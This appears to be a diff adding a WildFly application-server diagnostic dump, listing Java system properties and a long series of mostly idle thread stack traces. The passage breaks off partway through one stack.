+java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +jboss.server.base.dir: /opt/jboss/wildfly/standalone +java.awt.headless: true +org.apache.xml.security.ignoreLineBreaks: true +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.6+7-LTS +java.net.preferIPv4Stack: true +user.name: jboss +stdout.encoding: UTF-8 +jboss.home.dir: /opt/jboss/wildfly +path.separator: : +os.version: 6.8.0-87-generic +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +sun.nio.ch.bugLevel: +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.6+7 +jdk.serialFilter: maxbytes=10485760;maxdepth=128;maxarray=100000;maxrefs=300000 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jboss.server.log.dir: /opt/jboss/wildfly/standalone/log +java.io.tmpdir: /tmp +org.jboss.boot.log.file: /opt/jboss/wildfly/standalone/log/server.log +jboss.modules.system.pkgs: org.jboss.byteman +java.version: 21.0.6 +user.dir: /opt/jboss +os.arch: amd64 +java.vm.specification.name: Java Virtual Machine Specification +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +jboss.bind.address: 0.0.0.0 +jboss.host.name: e212a656084f +native.encoding: UTF-8 +java.util.logging.manager: org.jboss.logmanager.LogManager +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +module.path: /opt/jboss/wildfly/modules +jboss.server.name: e212a656084f +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.6+7-LTS +sun.io.unicode.encoding: UnicodeLittle +jboss.server.temp.dir: /opt/jboss/wildfly/standalone/tmp +jboss.node.name: e212a656084f +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"ServerService Thread Pool -- 22" #62 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DeploymentScanner-threads - 2" #82 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a58349a + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1763) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 14" #54 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Expired Entry Monitor" #147 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@169a0193 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/java.lang.Object.wait0(Native Method) + at java.base@21.0.6/java.lang.Object.wait(Object.java:366) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:163) + +"ServerService Thread Pool -- 19" #59 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 61" #107 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-7" #37 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"ServerService Thread Pool -- 7" #47 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Timer-0" #140 [WAITING] on java.util.TaskQueue@2abce2ff + java.lang.Thread.State: WAITING + at java.base@21.0.6/java.lang.Object.wait0(Native Method) + at java.base@21.0.6/java.lang.Object.wait(Object.java:366) + at java.base@21.0.6/java.lang.Object.wait(Object.java:339) + at java.base@21.0.6/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.6/java.util.TimerThread.run(Timer.java:516) + +"default task-1" #162 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@75ddea1e + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at org.jboss.xnio@3.8.16.Final//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@1ecafcdb + java.lang.Thread.State: WAITING + at java.base@21.0.6/java.lang.Object.wait0(Native Method) + at java.base@21.0.6/java.lang.Object.wait(Object.java:366) + at java.base@21.0.6/java.lang.Object.wait(Object.java:339) + at java.base@21.0.6/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.6/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.6/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"management I/O-1" #91 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"default I/O-8" #124 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"Cleaner-0" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@103d8e2 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1852) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.6/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.6/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"ServerService Thread Pool -- 56" #102 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 26" #66 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper #2" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4ce56927 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1712) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:67) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:234) + at org.wildfly.common@1.7.0.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 83" #158 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 15" #55 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 43" #86 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-14" #130 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Notification Thread" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 45" #88 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 78" #153 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 28" #68 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 48" #94 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-6" #36 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"ServerService Thread Pool -- 29" #69 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default Accept" #133 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"default I/O-4" #120 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"default I/O-11" #127 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"default I/O-2" #118 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 69" #115 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 25" #65 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 40" #83 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 31" #71 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 80" #155 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 6" #46 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 8" #48 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 86" #161 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 18" #58 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 58" #104 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at 